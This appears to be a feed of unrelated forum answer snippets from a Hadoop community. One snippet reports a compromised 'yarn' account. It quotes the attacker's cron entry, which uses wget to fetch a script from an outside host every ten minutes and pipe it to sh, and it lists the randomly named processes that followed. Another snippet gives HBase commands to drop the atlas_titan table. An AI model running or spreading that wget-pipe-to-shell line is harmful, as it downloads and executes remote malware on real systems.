In my case, the below cron entry was found   $ sudo -u yarn crontab -l */10 * * * * wget http://vbyphnnymdjnsiau.3utilities.com/Bj2yso0 -O-|sh   It resulted in so many spurious processes initiated by yarn - and shooting up the CPU. Nothing could be done. In some cases the number of entries were as high as 20k.   $ ps -ef | grep yarn yarn 30321 30318 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30323 29152 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30330 29075 0 11:44 ? 00:00:00 rxNqqqOesC1HqN yarn 30427 30319 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30773 1 0 10:34 ? 00:00:00 fexsOEvOv yarn 31186 1 0 10:34 ? 00:00:00 GqOeeG5eCC1rO yarn 31189 1 0 10:34 ? 00:00:00 ff1NrseqqffTHrve yarn 31727 1 0 09:20 ? 00:00:00 ivxvj1Ei1 yarn 31731 31727 0 09:20 ? 00:00:04 ivxvj1Ei1 yarn 31770 1 0 09:20 ? 00:00:00 GjN1GxCsqE51fs yarn 31771 31770 0 09:20 ? 00:00:21 GjN1GxCsqE51fs yarn 31774 31770 0 09:20 ? 00:00:05 GjN1GxCsqE51fs yarn 31790 1 0 09:20 ? 00:00:00 EvGeHe5OxfC yarn 31791 31790 0 09:20 ? 00:00:23 EvGeHe5OxfC yarn 31793 31790 0 09:20 ? 00:00:02 EvGeHe5OxfC yarn 31803 1 0 09:20 ? 00:00:00 qCevqvvGff1 yarn 31804 31803 0 09:20 ? 00:00:18 qCevqvvGff1 yarn 31806 31803 0 09:20 ? 00:00:04 qCevqvvGff1 yarn 32243 1 0 10:35 ? 00:00:00 TNsNf5fqTEv5esOxx yarn 32254 1 0 10:35 ? 00:00:00 qCevqvvGff1 yarn 32255 1 0 10:35 ? 00:00:00 seffjsOExr   Thanks for discussing and bringing up this issue. ... View more

You have to login to HBase and remove master table atlas_titan as below And restart service. hbase(main):003:0> list TABLE ATLAS_ENTITY_AUDIT_EVENTS atlas_titan 2 row(s) in 0.0070 seconds => ["ATLAS_ENTITY_AUDIT_EVENTS", "atlas_titan"] hbase(main):005:0> disable 'atlas_titan' 0 row(s) in 2.5060 seconds hbase(main):006:0> drop 'atlas_titan' 0 row(s) in 1.2730 seconds hbase(main):007:0> exit Restart Atlas service from Ambari UI ... View more

Kindly let me know what you mean when you mention that you too are facing similar issue.   As pointed by Harsh and as I have already mentioned, I see this is a non-issue and I have moved on.  ... View more